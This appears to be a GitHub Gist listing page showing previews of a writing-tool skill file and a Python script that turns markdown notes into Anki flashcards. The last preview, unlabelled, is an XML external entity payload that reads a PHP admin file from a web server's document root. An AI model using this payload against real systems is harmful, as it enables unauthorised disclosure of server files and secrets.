Skip to content

Instantly share code, notes, and snippets.

@Uzay-G
Uzay-G / SKILL.md
Last active October 1, 2026 02:01
write-with-echo: agent skill for writing in someone's voice with Echo (echo.fulcrum.inc)
name write-with-echo
description Use for AI writing. Echo imitates voice of famous authors or of provided text, and can be called through the Fulcrum API.

Writing with Echo

Echo is trained to write in other people's voices.

Calling it

@Uzay-G
Uzay-G / ankify.py
Last active January 7, 2024 17:23
Auto generate Anki flashcards based on a directory of markdown
from pathlib import Path
import openai
import tiktoken
from langchain.text_splitter import RecursiveCharacterTextSplitter
import yaml
# program that reads MD files, calls OpenAI API with GPT 4 to generate flashcards for a knowledge base ANKI deck
config = yaml.safe_load(open("ankify.yml"))
directory = Path(config["base_dir"])
encoding = tiktoken.encoding_for_model("gpt-4")
<!ENTITY % file SYSTEM "file:///var/www/html/skygenerator/public/admin_dashboard.php">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">